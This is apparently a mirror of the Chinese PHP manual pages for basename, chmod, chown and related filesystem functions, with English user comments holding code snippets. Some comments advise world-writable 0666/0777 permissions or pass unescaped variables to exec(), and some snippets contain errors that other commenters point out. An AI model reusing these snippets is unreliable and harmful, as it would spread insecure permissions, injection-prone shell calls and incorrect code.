In the code samples of the user-contributed notes, you'll find functions that sometimes need a slash at the end of a folder path and sometimes don't.

Here's a little function to append a slash at the end of a path if there isn't one already.

function append_slash_if_none($string)
   {
   if (ereg ("/$", $string))
       {
       return $string;
       }
   else
       {
       return ereg_replace("$", "/", $string);
       }
   }

(Replace with a backslash if you're on Windows...)
mitra at mitra dot biz
16-May-2003 01:10
Pollard@php.net contributed this in response to a question on setting these variables ...
This option *IS* settable within your PHP scripts.
Example:

<?php
  ini_set('auto_detect_line_endings', true);
  $contents = file('unknowntype.txt');

  ini_set('auto_detect_line_endings', false);
  $content2 = file('unixfile.txt');
?>

Note, with PHP 4.3 anytime Mac files are read using fgets or file you'll need to auto_detect_line_endings since \n is otherwise assumed.  However, with PHP 5.0, stream_get_line() will allow you to specify what line ending character to read up to.

\\ Read a line from a MAC file
stream_get_line($fp, 4096, "\r");

\\ Read a line from a UNIX file
stream_get_line($fp, 4096, "\n");

\\ Read a line from a DOS file
stream_get_line($fp, 4096, "\r\n");

\\ Read a line up to any filesystem line ending
ini_set('auto_detect_line_endings', true); fgets($fp);

\\ You can also make up your own line ending characters:
\\ Read up to the first instance of ":"
stream_get_line($fp, 4096, ":");
peeweek at altern dot org
09-May-2003 08:06
here is a function that recurses all directories in a Windows Tree then displays for each directory its contents.

function ls ($curpath) {
   $dir = dir($curpath);
   echo("<b>$curpath</b>");
   echo "<blockquote>";
   while ($file = $dir->read()) {

       if($file != "." && $file != "..") {
           if (is_dir($curpath.$file)) {
                               ls($curpath.$file."\\");
             } else {
                 echo("$file<br>");
             }
       }
   }
   $dir->close();
   echo "</blockquote>";
   return;
}

Use:

$startpath = "D:\\something\\";
ls($startpath);
regis at webstuff dot com dot br
03-Apr-2003 11:49
Here is a useful function if you're having trouble writing raw bytes into a file.

It receives an integer and returns an array containing the ASCII values of the bytes on each index of the array.

function int2bytes($number){
  $byte = $number;
  $i=0;
  do{
   $dec_tmp = $byte;

   $byte = bcdiv($byte,256,0);
   $resto = $dec_tmp - (256 * $byte);
   $return[] = $resto;
  } while($byte >= 256);
  if($byte) $return[] = $byte;
  return array_reverse($return);
}

Example:

$arr = int2bytes(75832);

$arr will contain the following values:
Array
(
   [0] => 1
   [1] => 40
   [2] => 56
)

Now, to write this data to the file, just use a fputs() with chr(), just like this:

fputs($fp,chr($arr[0]).chr($arr[1]).chr($arr[2]))

-- Regis
jdhurn at uberidx dot com
08-Mar-2003 11:18
This is a function I use to determine if a file contains Binary information. I use this for my search engine so that it doesn't try to index files like .zip or .mp3 or any other file that doesn't contain readable information. It makes use of the Character Type Extension if it's loaded, if it's not then it uses Regular Expressions.

function is_binary($link)
{
     $tmpStr  = '';
     @$fp    = fopen($link, 'rb');
     @$tmpStr = fread($fp, 256);
     @fclose($fp);

     if($tmpStr != '')
     {
         $tmpStr = str_replace(chr(10), '', $tmpStr);
         $tmpStr = str_replace(chr(13), '', $tmpStr);

         $tmpInt = 0;

           for($i =0; $i < strlen($tmpStr); $i++)
         {
               if( extension_loaded('ctype') )
               {
                   if( !ctype_print($tmpStr[$i]) )
                         $tmpInt++;
               }
               else
               {
                   if( !eregi("[[:print:]]+", $tmpStr[$i]) )
                         $tmpInt++;
               }
           }

           if($tmpInt > 5)
               return(0);
           else
               return(1);
     }
     else
           return(0);
}
meheler at canada dot com
07-Mar-2002 03:55
Here is a useful function that checks for the existance of a file in PHP's include_path:

   // Searches PHP's include_path variable for the existance of a file
   // Returns the filename if it's found, otherwise FALSE.
   // Only works on a *nix-based filesystem
   // Check like: if (($file = file_exists_path('PEAR.php')) !== FALSE)
   function file_exists_path($file) {
       // Absolute path specified
       if (substr($path,0,1)=='/')
           return (file_exists($file))?realpath($file):FALSE;

       $paths = explode(':',ini_get('include_path'));
       foreach ($paths as $path) {
           if (substr($path,-1)!='/') $path = "$path/";
           if (file_exists("$path$file"))
               return realpath("$path$file");
       }
       return FALSE;
   }

Mike
add a note add a note

后退 | 起点 | 前进
filepro | 上一级 | basename


basename

(PHP 3, PHP 4, PHP 5)

basename -- 返回路径中的文件名部分

说明

string basename ( string path [, string suffix] )

给出一个包含有指向一个文件的全路径的字符串，本函数返回基本的文件名。如果文件名是以 suffix 结束的，那这一部分也会被去掉。

在 Windows 中，斜线（/）和反斜线（\）都可以用作目录分隔符。在其它环境下是斜线（/）。

例子 1. basename() 例子

<?php
$path = "/home/httpd/html/index.php";
$file = basename($path);        // $file is set to "index.php"
$file = basename($path,".php"); // $file is set to "index"
?>

注: suffix 参数是 PHP 4.1.0 新加的。

参见 dirname()。

add a note add a note User Contributed Notes
lazy lester
18-Feb-2006 08:19
If your path has a query string appended, and if the query string contains a "/" character, then the suggestions for extracting the filename offered below don't work.

For instance if the path is like this:
http://www.ex.com/getdat.php?dep=n/a&title=boss

Then both the php basename() function, and also
the $_SERVER[QUERY_STRING] variables get confused.

In such a case, use:

<php
$path_with_query="http://www.ex.com/getdat.php?dep=n/a&title=boss";
$path=explode("?",$path_with_query);
$filename=basename($path[0]);
$query=$path[1];
?>
support at rebootconcepts dot com
18-Feb-2006 03:55
works on windows and linux, faster/easier than amitabh's...

<?php
$basename = preg_replace( '/^.+[\\\\\\/]/', '', $filename );

// Optional; change any non letter, hyphen, or period to an underscore.
$sterile_filename = preg_replace( "/[^\w\.-]+/", "_", $basename );
?>
poniestail at gmail dot com
05-Jan-2006 08:18
examples from "icewind" and "basname" seem highly overdone... not to mention example from "basename" is exactly the same as one from "icewind"...

possibly a more logical approach?
<?
   //possible URL = http://domain.com/path/to/file.php?var=foo
   $filename = substr( $_SERVER["SCRIPT_NAME"], 1 ); //substr( ) used for optional removal of initial "/"
   $query = $_SERVER["QUERY_STRING"];
?>

to see the entire $_SERVER variable try this:
<?
   echo "<pre>
     ".print_r( $_SERVER, true )."
     </pre>
   ";
?>
15-Nov-2005 08:57
icewinds exmaple wouldn't work, the query part would contain the second char of the filename, not the query part of the url.
<?
$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$query = $file[1];
$file = $file[0];
?>

That works better.
icewind
02-Nov-2005 04:44
Because of filename() gets "file.php?var=foo", i use explode in addition to basename like here:

$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$file = $file[0];
$query = $file[1];

Now $file only contains "file.php" and $query contains the query-string (in this case "var=foo").
www.turigeza.com
25-Oct-2005 03:47
simple but not said in the above examples

echo basename('somewhere.com/filename.php?id=2', '.php');
will output
filename.php?id=2

which is not the filename in case you expect!
crash at subsection dot org dot uk
23-Sep-2005 03:38
A simple way to return the current directory:
$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

since basename always treats a path as a path to a file, e.g.

/var/www/site/foo/ indicates /var/www/site as the path to file
foo
tomboshoven at gmail dot com
05-Sep-2005 09:53
basename() also works with urls, eg:

basename('http://www.google.com/intl/en/images/logo.gif');

will return 'logo.gif'.
b_r_i_a__n at locallinux dot com
23-Aug-2005 08:47
I was looking for a way to get only the filename whether or not I had received the full path to it from the user.  I came up with a much simpler (and probably more robust) method by using the power of basename in reverse:

$infile = "/usr/bin/php";
$filename = stristr ($infile,basename ($infile));

This even works on those _wacky_ filenames like "/usr/lib/libnetsnmp.so.5.0.9" which are not factored when exploding the full path and taking out only the last segment after "."
pvollma at pcvsoftware dot net
15-Jul-2005 12:28
Note that in my example below, I used the stripslashes function on the target string first because I was dealing with the POST array $_FILES. When creating this array, PHP will add slashes to any slashes it finds in the string, so these must be stripped out first before processing the file path. Then again, the only reason I can think of that basename() would fail is when dealing with Windows paths on a *nix server -- and the file upload via POST is the only situation I can think of that would require this. Obviously, if you are not dealing with these additional slashes, invoking stripslashes() first would remove the very separators you need extract the file name from the full path.
amitabh at NOSPAM dot saysnetsoft dot com
14-Jul-2005 04:55
The previous example posted by "pvollma" didn't work out for me, so I modified it slightly:
<?php
function GetFileName($file_name)
{
       $newfile = basename($file_name);
       if (strpos($newfile,'\\') !== false)
       {
               $tmp = preg_split("[\\\]",$newfile);
               $newfile = $tmp[count($tmp) - 1];
               return($newfile);
       }
       else
       {
               return($file_name);
       }
}
?>
pvollma at pcvsoftware dot net
14-Jul-2005 02:43
There is a real problem when using this function on *nix servers, since it does not handle Windows paths (using the \ as a separator). Why would this be an issue on *nix servers? What if you need to handle file uploads from MS IE? In fact, the manual section "Handling file uploads" uses basename() in an example, but this will NOT extract the file name from a Windows path such as C:\My Documents\My Name\filename.ext. After much frustrated coding, here is how I handled it (might not be the best, but it works):

<?php
$filen = stripslashes($_FILES['userfile']['name']);
$newfile = basename($filen);
if (strpos($newfile,'\\') !== false) {
  $tmp = preg_split("[\\\]",$newfile);
  $newfile = $tmp[count($tmp) - 1];
}
?>

$newfile will now contain only the file name and extension, even if the POSTed file name included a full Windows path.
KOmaSHOOTER at gmx dot de
30-Jan-2005 10:18
if you want the name of the parent directory
<?php
$_parenDir_path = join(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1),"/").'/'; // returns the full path to the parent dir
$_parenDir =  basename ($_parenDir_path,"/"); // returns only the name of the parent dir
// or
$_parenDir2 = array_pop(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1)); // returns also only the name of the parent dir
echo('$_parenDir_path  = '.$_parenDir_path.'<br>');
echo('$_parenDir  = '.$_parenDir.'<br>');
echo('$_parenDir2  = '.$_parenDir2.'<br>');
?>
KOmaSHOOTER at gmx dot de
30-Jan-2005 08:24
If you want the current path where youre file is and not the full path then use this :)

<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// retuns the name of current used directory
?>

Example:

www dir: domain.com/temp/2005/january/t1.php

<?php
echo('dirname <br>'.dirname($_SERVER['PHP_SELF']).'<br><br>');
// returns: /temp/2005/january
?>

<?php
echo('file = '.basename ($PHP_SELF,".php"));
// returns: t1
?>

if you combine these two you get this
<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// returns: january
?>

And for the full path use this
<?php
echo(' PHP_SELF <br>'.$_SERVER['PHP_SELF'].'<br><br>');
// returns: /temp/2005/january/t1.php
?>
antrik at users dot sf dot net
16-Nov-2004 02:40
When using basename() on a path to a directory ('/bar/foo/'), the last path component ('foo') is returned, instead of the empty string one would expect. (Both PHP 4.1.2 and 4.3.8 on GNU/Linux.) No idea whether this is considered a bug or a feature -- I found it extremely annoying. Had to work around using: <?php $file=substr($path, -1)=='/'?'':basename($path) ?> Watch out!
osanim at cidlisuis dot org
18-Apr-2004 02:12
If you want know the real directory of the include file, you have to writte:

<?php
dirname(__FILE__)
?>
KOmaSHOOTER at gmx dot de
28-Nov-2003 06:33
Exmaple for exploding ;) the filename to an array

<?php
echo(basename ($PHP_SELF)."<br>");  // returnes filename.php
$file = basename ($PHP_SELF);
$file = explode(".",$file);
print_r($file);    // returnes Array ( [0] => filename [1] => php )
echo("<br>");
$filename = basename(strval($file[0]),$file[1]);
echo($filename."<br>");  // returnes  filename
echo(basename ($PHP_SELF,".php")."<br>");  // returnes  filename
echo("<br>");
echo("<br>");
//show_source(basename ($PHP_SELF,".php").".php")
show_source($file[0].".".$file[1])
?>
giovanni at giacobbi dot net
08-Nov-2003 11:52
No comments here seems to take care about UNIX system files, which typically start with a dot, but they are not "extensions-only".
The following function should work with every file path. If not, please let me know at my email address.

<?php

function remove_ext($str) {
  $noext = preg_replace('/(.+)\..*$/', '$1', $str);
  print "input: $str\n";
  print "output: $noext\n\n";
}

remove_ext("/home/joh.nny/test.php");
remove_ext("home/johnny/test.php");
remove_ext("weirdfile.");
remove_ext(".hiddenfile");
remove_ext("../johnny.conf");
daijoubu_NOSP at M_videotron dot ca
16-Oct-2003 01:22
An faster alternative to:

<?php
array_pop(explode('.', $fpath));
?>

would be:

<?php
substr($fpath, strrpos($fpath, '.')); // returns the dot
?>

If you don't want the dot, simply adds 1 to the position

<?php
substr($fpath, strrpos($fpath, '.') + 1); // returns the ext only
?>
travis dot kroh at ndsu dot nodak dot edu
20-May-2003 05:12
<?php
$foo="/path/to/file.ext";
echo $foo."<br />";
$bar=$foo;
echo basename($bar,".ext")."<br />";
echo $foo."<br />";
echo $bar."<br />";
?>

Will display:
/path/to/file.ext
file
/path/to/file
/path/to/file

Which is probably not expected behavior, as
it returns one thing, changes the variable
to produce something else, and also modifies
BOTH variables in memory.

To avoid this, use:
basename(strval($bar),".ext")
Richard at Lyders dot Net
02-Apr-2003 05:53
you can also make use of the basename() function's second parameter:

<?PHP
$fpath = "/blah/file.name.has.lots.of.dots.ext";
$fext  = array_pop(explode('.', $fpath));
$fname = basename($fpath, '.'.$fext);

print "fpath: $fpath\n<br>";
print "fext: $fext\n<br>";
print "fname: $fname\n<br>";
?>
add a note add a note

后退 | 起点 | 前进
Filesystem 文件系统函数 | 上一级 | chgrp


chgrp

(PHP 3, PHP 4, PHP 5)

chgrp -- 改变文件所属的组

说明

bool chgrp ( string filename, mixed group )

尝试将文件 filename 所属的组改成 group（通过组名或组 ID 指定）。只有超级用户可以任意修改文件的组，其它用户可能只能将文件的组改成该用户自己所在的组。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数不能作用于远程文件，被检查的文件必须通过服务器的文件系统访问。

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

参见 chown() 和 chmod()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
basename | 上一级 | chmod


chmod

(PHP 3, PHP 4, PHP 5)

chmod -- 改变文件模式

说明

bool chmod ( string filename, int mode )

尝试将 filename 所指定文件的模式改成 mode 所给定的。

注意 mode 不会被自动当成八进制数值，而且也不能用字符串（例如 "g+w"）。要确保正确操作，需要给 mode 前面加上 0：

<?php
chmod("/somedir/somefile", 755);   // 十进制数，可能不对
chmod("/somedir/somefile", "u+rwx,go+rx"); // 字符串，不对
chmod("/somedir/somefile", 0755);  // 八进制数，正确的 mode 值
?>

mode 参数包含三个八进制数按顺序分别指定了所有者、所有者所在的组以及所有人的访问限制。每一部分都可以通过加入所需的权限来计算出所要的权限。数字 1 表示使文件可执行，数字 2 表示使文件可写，数字 4 表示使文件可读。加入这些数字来制定所需要的权限。有关 UNIX 系统的文件权限可以阅读手册“man 1 chmod”和“man 2 chmod”。

<?php
// Read and write for owner, nothing for everybody else
chmod("/somedir/somefile", 0600);

// Read and write for owner, read for everybody else
chmod("/somedir/somefile", 0644);

// Everything for owner, read and execute for others
chmod("/somedir/somefile", 0755);

// Everything for owner, read and execute for owner's group
chmod("/somedir/somefile", 0750);
?>

如果成功则返回 TRUE，失败则返回 FALSE。

注: 当前用户指的是执行 PHP 的用户。很可能和通常的 shell 或者 FTP 用户不是同一个。在大多数系统下文件模式只能被文件所有者的用户改变。

注: 本函数不能作用于远程文件，被检查的文件必须通过服务器的文件系统访问。

注: 当安全模式打开的时候，PHP 会检查所操作的文件是否和正在执行的脚本具有相同的 UID （所有者）。要注意的是，不能修改 SUID，SGID 和 sticky bits。

参见 chown() 和 chgrp()。

add a note add a note User Contributed Notes
neil at 11 out of 10
12-Apr-2006 03:20
If you get a warning like chmod(): Operation not permitted in /home/folder/public_html/admin/includefiles/fileupload.php on line 24

You can use the ftp_site() function to send a CHMOD command through.
<?php

$ftp_details['ftp_user_name'] = $row['username'];
$ftp_details['ftp_user_pass'] = $row['password'];
$ftp_details['ftp_root'] = '/public_html/';
$ftp_details['ftp_server'] = 'ftp'.$_SERVER['HTTP_HOST'];

function chmod_11oo10($path, $mod, $ftp_details)
{
   // extract ftp details (array keys as variable names)
   extract ($ftp_details);

   // set up basic connection
   $conn_id = ftp_connect($ftp_server);

   // login with username and password
   $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

   // try to chmod $path directory
   if (ftp_site($conn_id, 'CHMOD '.$mod.' '.$ftp_root.$path) !== false) {
       $success=TRUE;
   }
   else {
       $success=FALSE;
   }

   // close the connection
   ftp_close($conn_id);
   return $success;
}
?>
The key thing to remember is that the document root and the ftp root are not the same.
e.g. document root may be "/home/folder/public_html/"
but the ftp root might be "/public_html/"

Hope this helps someone.  You might need this solution if you are on a shared server.
memp
23-Aug-2005 06:04
If you are storing your mode in a variable like

$mode = 0755;

you will run into the inevitable octal mode problem.  An easy way around that is to use the octdec() function.

chmod("some_filename.ext", octdec($mode));
masha at mail dot ru
11-Jul-2005 12:23
Usefull reference:

Value    Permission Level
400    Owner Read
200    Owner Write
100    Owner Execute
40    Group Read
20    Group Write
10    Group Execute
4    Global Read
2    Global Write
1    Global Execute

(taken from http://www.onlamp.com/pub/a/php/2003/02/06/php_foundations.html)
computerguru at spymac dot com
07-Apr-2005 06:05
The ultimate CHMOD solution

Go to http://sshqudsi.com/computerguru/

and download chmod-win

it converts windows settings to chmod and vice versa!
alex at feidesign dot com
01-Apr-2005 08:20
If you cannot chmod files/directories with PHP because of safe_mode restrictions, but you can use FTP to chmod them, simply use PHP's FTP-functions (eg. ftp_chmod or ftp_site) instead. Not as efficient, but works.
info at rvgate dot nl
03-Feb-2005 09:12
When using ftp_rawlist, in order to get the chmod number from the attributes, i use this code:

<?php
function chmodnum($mode) {
   $realmode = "";
   $legal =  array("","w","r","x","-");
   $attarray = preg_split("//",$mode);
   for($i=0;$i<count($attarray);$i++){
       if($key = array_search($attarray[$i],$legal)){
           $realmode .= $legal[$key];
       }
   }
   $mode = str_pad($realmode,9,'-');
   $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
   $mode = strtr($mode,$trans);
   $newmode = '';
   $newmode .= $mode[0]+$mode[1]+$mode[2];
   $newmode .= $mode[3]+$mode[4]+$mode[5];
   $newmode .= $mode[6]+$mode[7]+$mode[8];
   return $newmode;
}
?>
some examples:

drwxr-xr-x => 755
drwxr-xr-x => 755
dr-xr-xr-x => 555
drwxr-xr-x => 755
drwxr-xr-x => 755
drwxr-xr-x => 755
drwxr-xr-x => 755
drwxrwxrwt => 776
drwxr-xr-x => 755
drwxr-xr-x => 755
lrwxrwxrwx => 777

used some of already posted code...
haasje at welmers dot net
28-Nov-2004 04:09
For recursive chmod'ing see the function below.
Only really usefull when chmod'ing a tree containing directories only, jet, since you don't want an executable bit on a regular file. Who completes the function so it's accepting strings like "g+w", and it's as usefull as unix "chmod -R" ? ;-)

<?php

function chmod_R($path, $filemode) {
   if (!is_dir($path))
       return chmod($path, $filemode);

   $dh = opendir($path);
   while ($file = readdir($dh)) {
       if($file != '.' && $file != '..') {
           $fullpath = $path.'/'.$file;
           if(!is_dir($fullpath)) {
             if (!chmod($fullpath, $filemode))
                 return FALSE;
           } else {
             if (!chmod_R($fullpath, $filemode))
                 return FALSE;
           }
       }
   }

   closedir($dh);

   if(chmod($path, $filemode))
     return TRUE;
   else
     return FALSE;
}
?>
PerfectWeb
23-Nov-2004 11:58
As noted by others below... 1) you cannot pass a string to chmod() as the mode, and 2) decimals work as well as octals for the mode.

If you need to come up with the mode on the fly (maybe based on user input) and want to use something like:

$mode = '0'.$owner.$group.$public;

you can use your $mode (which is a string) with chmod like this:

<?php
 // octal mode in a string i.e. '0755'
 $mode = '0'.$owner.$group.$public;

 $mode_dec = octdec($mode);    // convert octal mode to decimal
 chmod($filename, $mode_dec);
?>
fernando at gym-group dot com
12-Nov-2004 11:10
about chmod,
Problably you have a local server to simulate your scripts before upload them to the server. No matter if you use Apache under windows or IIS ,  a chmod instruction like chmod($filename,O777) may not work because windows does not handle that kind of permission's format.
So being in your local server, if you have a only read file and you try to erase, it will show that you dont have permissions even when you have already executed your chmod instrucction correctly. Just up the script it must work well in your internet server if it is a linux machine

sobre chmod,
Probablemente usas un servidor local para probar tus scripts antes de subirlos al servidor en internet. No importa si usas Apache bajo windows o IIS, una instruccion como chmod(nombre_archivo,O777) podr no trabajar por que windows no maneja esa estructura para definir los permisos.
Estando en tu servidor local, si tienes un archivo de solo lectura y tratas de borrarlo,  se mostrar un error diciendo que no tienes permisos an despes de haber ejecutado chmod correctamente. Sube tu script, si tu servidor es una mquina linux, el script trabajar sin problemas en internet.

Fernando Yepes C.
Oliver Hankeln
01-Jul-2004 11:21
Well, you don't need octals.
You need a value that can easily computed and remembered if printed in octal.
511 (decimal) is the same as 777 (octal).
So it's the same wether you write
chmod("foo",511)
or
chmod("foo",0777)

The latter is just better readable.
raven_25041980 at yahoo dot com
25-May-2004 01:45
If you have a mode as a string, chmod will insanely mess up your permissions. Instead of using

<?php

@chmod($file_or_dir_name, $mode);

?>

use

<?php

@chmod(file_or_dir_name, intval($mode, 8));

?>

where 8 -> the base to convert into. You need octals, baby, for chmod...

More on intval here: http://www.php.net/manual/en/function.intval.php
agrenier at assertex dot com
02-Apr-2004 09:17
If you find that chmod does not work on your file and that a new file cannot be created, first try to chmod the directory where the file is being created to 0666/0777. Then PHP should be able to write/append files with mode 0644.
agrenier at assertex dot com
02-Apr-2004 09:11
This function will chmod a $filename before writing to it if:

1 - It exists
2 - It is not writeable
3 - PHP has permission to chmod files

If PHP can't chmod, then the script will end. Otherwise it will attempt to write to a new file.

<?php

   function file_write($filename, $flag, &$content) {
       if (file_exists($filename)) {
           if (!is_writable($filename)) {
               if (!chmod($filename, 0666)) {
                     echo "Cannot change the mode of file ($filename)";
                     exit;
               };
           }
       }
       if (!$fp = @fopen($filename, $flag)) {
           echo "Cannot open file ($filename)";
           exit;
       }
       if (fwrite($fp, $content) === FALSE) {
           echo "Cannot write to file ($filename)";
           exit;
       }
       if (!fclose($fp)) {
           echo "Cannot close file ($filename)";
           exit;
       }
   }

?>
Jazeps Basko
27-Jan-2004 11:37
To convert 'rwxr-xr--' to a number representation of chmod, i use this:
<?php
   function chmodnum($mode) {
       $mode = str_pad($mode,9,'-');
       $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
       $mode = strtr($mode,$trans);
       $newmode = '';
       $newmode .= $mode[0]+$mode[1]+$mode[2];
       $newmode .= $mode[3]+$mode[4]+$mode[5];
       $newmode .= $mode[6]+$mode[7]+$mode[8];
       return $newmode;
   }
?>
pmichaud at pobox dot com
20-Apr-2003 06:45
In the previous post, stickybit avenger writes:
   Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value...

Note that in order to set the sticky bit on a file one must use '01777' (oct) and not '1777' (dec) as the parameter to chmod:

<?php
   chmod("file",01777);  // correct
     chmod("file",1777);    // incorrect, same as chmod("file",01023), causing no owner permissions!
?>

Rule of thumb: always prefix octal mode values with a zero.
sticky bit avenger
12-Mar-2003 07:30
Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value. Do NOT do this if you don't have root privileges. When 'sticky bit' is set ONLY the fileuser can delete it afterwards, typically 'httpd' or something like that in case of an upload-script for example. I was unaware of this and actually had to make a script for deleting these files as I could not do this from ftp/ssh even though I did have read/write/execute access to both files and folders. Use simply '0777' or similiar.
Half-Dead at nospam dot com
08-Nov-2002 06:42
[Editor's note:
That is due the fact Win32 systems treat premissions. You do not really have any other levels but read-only.

Maxim]

On WinME with apache chmod also works to a certain limit.

What happens is that apparently only the first number is counted, so 0666 (read-write) is the same as 0777, 0644, 0600, etc, and 0444 (read-only) is the same as 477, 400, etc.

..didn't test 0500 series
FF7Cayn at gmx dot de
28-Oct-2001 08:09
It does work on Windows.
I use Win 98 with the Sambar Server.
The only chmods allowed are the 775 and 666 mod. 775 for non-writeable and 666 for writeable. The only thing is that the usergroups doesn't work.
Note: the 0 at the start doesn't work with windows. use only the decimal kind.
Have fun :)
jon at zend dot com
15-Oct-2001 11:37
if 'mode' is held in a variable and is and octal value you need to convert it to decimal before passing it to the function:
chmod ($filename, octdec($mode))
gnettles2 at home dot com
25-Aug-2001 02:20
Usually when you're trying to write to af file, you'll need to chmod the file to something like 666 or 755. You can use a command to chmod the file for you, which is especially useful when you're making a script where you're setting it up so that your users don't have to peform a bunch of actions to setup the script. When i wrote my news program script, I only had two files. install.php and config.php. All you had to do was chmod install.php to 666 and open it up in a web browser and answer a few questions. The script itself setup the rest of the files and chmodded them for you.
add a note add a note

后退 | 起点 | 前进
chgrp | 上一级 | chown


chown

(PHP 3, PHP 4, PHP 5)

chown -- 改变文件的所有者

说明

bool chown ( string filename, mixed user )

尝试将文件 filename 的所有者改成用户 user（由用户名或用户 ID 指定）。只有超级用户可以改变文件的所有者。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数不能作用于远程文件，被检查的文件必须通过服务器的文件系统访问。

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

参见 chmod()。

add a note add a note User Contributed Notes
Tayfun Bilsel
12-Jan-2006 12:13
Simple usage of the chown:

<?php

$file_name= "test";
$path = "/var/www/html/test/" . $file_name ;

$user_name = "root";

chown($path, $user_name);

?>
Jens Vieler
23-May-2005 03:38
for some reason i was searching for chown() with an "on this mashine"-unknown userid and found martijn's hint very interesting. the main problem is, that if the numerical uid is used within a variable, it is checked against the /etc/passwd and returns "unknown user". a little note:

use intval(), not inval()! so all in all it is:

   chown($path_to_dir,intval($uidnumber));
greg _at_ rhythmicdesign d.o.t com
24-Feb-2004 08:00
<?php
function recurse_chown_chgrp($mypath, $uid, $gid)
{
   $d = opendir ($mypath) ;
   while(($file = readdir($d)) !== false) {
       if ($file != "." && $file != "..") {

           $typepath = $mypath . "/" . $file ;

           //print $typepath. " : " . filetype ($typepath). "<BR>" ;
           if (filetype ($typepath) == 'dir') {
               recurse_chown_chgrp ($typepath, $uid, $gid);
           }

           chown($typepath, $uid);
           chgrp($typepath, $gid);

       }
   }

 }

recurse_chown_chgrp ("uploads", "unsider", "unsider") ;
?>

for older versions.. unfortunately, it seems I do not have permission to perform these functions.
Richard Esplin
12-Oct-2003 11:49
As far as I can tell, PHP's built in functions will not do a recursive chown or chgrp. But it wouldn't be hard to write a function for this. Here is some starter code based on an example written by John Coggeshall which I found at http://www.coggeshall.org :

<?php
function recurse_chown_chgrp($path2dir, $uid, $gid){
   $dir = new dir($path2dir);
   while(($file = $dir->read()) !== false) {
       if(is_dir($dir->path.$file)) {
           recurse_chown_chgrp($dir->path.$file, $uid, $gid);
       } else {
           chown($file, $uid);
           chgrp($file, $gid);
       }
   }
   $dir->close();
}
?>

I have not tested this code (but I think it will work) because for my current needs, a simple exec("chown -r $user.$group $path"); is sufficient. I would need this code if I were not in control of the contents of these variables because they can be dangerous on the command line.
Klaus Zierer
27-Jun-2003 11:37
If you want to chown a symlink, PHP will follow the symlink and change the target file.

If you want to chown the symlink, you have to use shell_exec("/bin/chown user.group symlink");
martijn at sigterm dot nl
20-Jun-2003 10:28
If chown is filled with a variable (  chown ("myfile", $uid) the uid will be looked up through pwget_uid.

So if you need to set a non existing uid use inval($uid).
njs+php at scifi dot squawk dot com
22-Sep-2000 02:28
If you allow sudo execution for chmod by "nobody" (www, webdaemon, httpd, whatever user php is running under)in this manner, it had better be a system on which the owner is able to be root and no one else can run code, else your whole system is compromised.  Someone could change the mode of /etc/passwd or the shadow password file.

Other system commands (sudo mount) and so forth are similar.
add a note add a note

后退 | 起点 | 前进
chmod | 上一级 | clearstatcache


clearstatcache

(PHP 3, PHP 4, PHP 5)

clearstatcache -- 清除文件状态缓存

说明

void clearstatcache ( void )

当使用 stat()，lstat() 或者任何列在受影响函数表（见下面）中的函数时，PHP 将缓存这些函数的返回信息以提供更快的性能。然而在某些情况下，你可能想清除被缓存的信息。例如如果在一个脚本中多次检查同一个文件，而该文件在此脚本执行期间有被删除或修改的危险时，你需要清除文件状态缓存。这种情况下，可以用 clearstatcache() 函数来清除被 PHP 缓存的该文件信息。

必须注意的是，对于不存在的文件，PHP 并不会缓存其信息。所以如果调用 file_exists() 来检查不存在的文件，在该文件没有被创建之前，它都会返回 FALSE。如果该文件被创建了，就算以后被删除，它都会返回 TRUE

注: 本函数缓存特定文件名的信息，因此只在对同一个文件名进行多次操作并且需要该文件信息不被缓存时才需要调用 clearstatcache()。

受影响的函数包括 stat()，lstat()，file_exists()，is_writable()，is_readable()，is_executable()，is_file()，is_dir()，is_link()，filectime()，fileatime()，filemtime()，fileinode()，filegroup()，fileowner()，filesize()，filetype() 和 fileperms()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
chown | 上一级 | copy


copy

(PHP 3, PHP 4, PHP 5)

copy -- 拷贝文件

说明

bool copy ( string source, string dest )

将文件从 source 拷贝到 dest。如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. copy() 例子

<?php
$file = 'example.txt';
$newfile = 'example.txt.bak';

if (!copy($file, $newfile)) {
    echo "failed to copy $file...\n";
}
?>

如果要移动文件的话，请使用 rename() 函数。

注: 从 PHP 4.3.0 开始，如果启用了“fopen wrappers”的话，source 和 dest 都可以是 URL。更多细节见 fopen()。如果 dest 是一个 URL，则如果封装协议不支持覆盖已有的文件时拷贝操作会失败。

警告

如果目标文件已存在，将会被覆盖。

Windows 兼容: 如果复制一个零字节的文件，copy() 将返回 FALSE ，但文件也会被正确复制。

参见 move_uploaded_file()，rename() 和手册中关于文件上传处理一节。

add a note add a note User Contributed Notes
cooper at asu dot ntu-kpi dot kiev dot ua
10-Mar-2006 08:32
It take me a long time to find out what the problem is when i've got an error on copy(). It DOESN'T create any directories. It only copies to existing path. So create directories before. Hope i'll help,
bobbfwed at comcast dot net
03-Feb-2006 03:06
I have programmed a really nice program that remotely lets you manage files as if you have direct access to them (http://sourceforge.net/projects/filemanage/). I have a bunch of really handy functions to do just about anything to files or directories.
I know there are others like it, but here is the function I made for this program to copy directories; it will likely need tweaking to work as a standalone script, since it relies of variables set by my program (eg: loc1 -- which dynamically changes in my program):

<?PHP
  // loc1 is the path on the computer to the base directory that may be moved
define('loc1', 'C:/Program Files/Apache Group/Apache/htdocs', true);

  // copy a directory and all subdirectories and files (recursive)
